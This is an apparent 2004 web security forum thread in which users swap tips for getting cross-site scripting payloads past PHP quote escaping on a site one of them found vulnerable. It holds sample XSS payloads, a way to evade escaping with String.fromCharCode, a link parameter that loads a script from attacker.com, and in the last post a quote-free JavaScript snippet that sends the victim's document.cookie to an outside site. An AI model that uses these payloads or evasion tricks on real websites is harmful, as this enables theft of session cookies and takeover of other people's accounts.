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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Few Questions about XSS
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Few Questions about XSS
PostPosted: Thu Jun 03, 2004 6:10 am Reply with quote
x303
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Joined: May 31, 2004
Posts: 3




I've found it in ?id=[XSS] . When i try <script>alert(document.cookie);</script> everything works fine. But when i try: <script>alert('Hello');</script> then in source code ( ' ) are replaced by ( \' ) and then nothing is working like it should Confused
So is there a way how to avoid this?

And another question, is it available to inject PHP script ? Rolling Eyes
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hey
PostPosted: Thu Jun 03, 2004 6:33 am Reply with quote
icenix
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Joined: May 13, 2004
Posts: 106
Location: Australia




try <script>alert("hello")</script>
plus i dont know why you would even want to anyway but yeah,

and no you cant Execute PHP Code through XSS.
your thinking of Remote file Inclusion..

or you can replace <script> all together

Code:

body onload=alert("hello");>


there are many many alternatives.
search the forum
hope i helped

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PostPosted: Thu Jun 03, 2004 7:46 am Reply with quote
x303
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Joined: May 31, 2004
Posts: 3




I've tried ( " ) too, same thing happens. Well, maybe it's filtred Smile
Anyway thanx. Ive noticed that LOTS of sites arent filtring user input..
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PostPosted: Thu Jun 03, 2004 8:04 am Reply with quote
Tora
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Joined: May 19, 2004
Posts: 9
Location: Germany




Hi Smile

thats the effect from the php cofiguration "magic_quotes_gpc"

The magic_quotes_gpc configuration directive affects Get, Post and Cookie values. If turned on, value (It's "PHP!") will automagically become (It\'s \"PHP!\").

more info:
http://www.php.net/en/variables.external
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Re: Few Questions about XSS
PostPosted: Thu Jun 03, 2004 10:19 am Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




x303 wrote:
I've found it in ?id=[XSS] . When i try <script>alert(document.cookie);</script> everything works fine. But when i try: <script>alert('Hello');</script> then in source code ( ' ) are replaced by ( \' ) and then nothing is working like it should Confused
So is there a way how to avoid this?

And another question, is it available to inject PHP script ? Rolling Eyes


One way to solve the escaped single and double quotes problem is by using the String.fromCharCode() function in javascript, as shown here:

http://www.governmentsecurity.org/articles/HackingWithJavascript.php

And there are more possibilities, like make get request with additional concatenated string:

http://victim.com/some/script.php?mode=3&op=5&foobar=http://attacker.com/malicious.js

and then let your javascript do some string pattern matching search and substring operation on document.location and you can get long string without escaping probs.
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PostPosted: Fri Jun 04, 2004 7:47 am Reply with quote
b0ilz
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Joined: May 31, 2004
Posts: 10




Dont forget that you dont need to put any real javascript on the website. You can use remote scripts by using the src= attribute in many different methods. Also, javascript is not the only language you can use for xss.

Here is example of javascript that can steal a cookie without using any quotes. Also is the technique in that hackingwithjavascript paper. this is tested with mozilla 0.9.9:

var u = /http:site.com?/;
var x = u.source + document.cookie;
window.location=x;
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Few Questions about XSS
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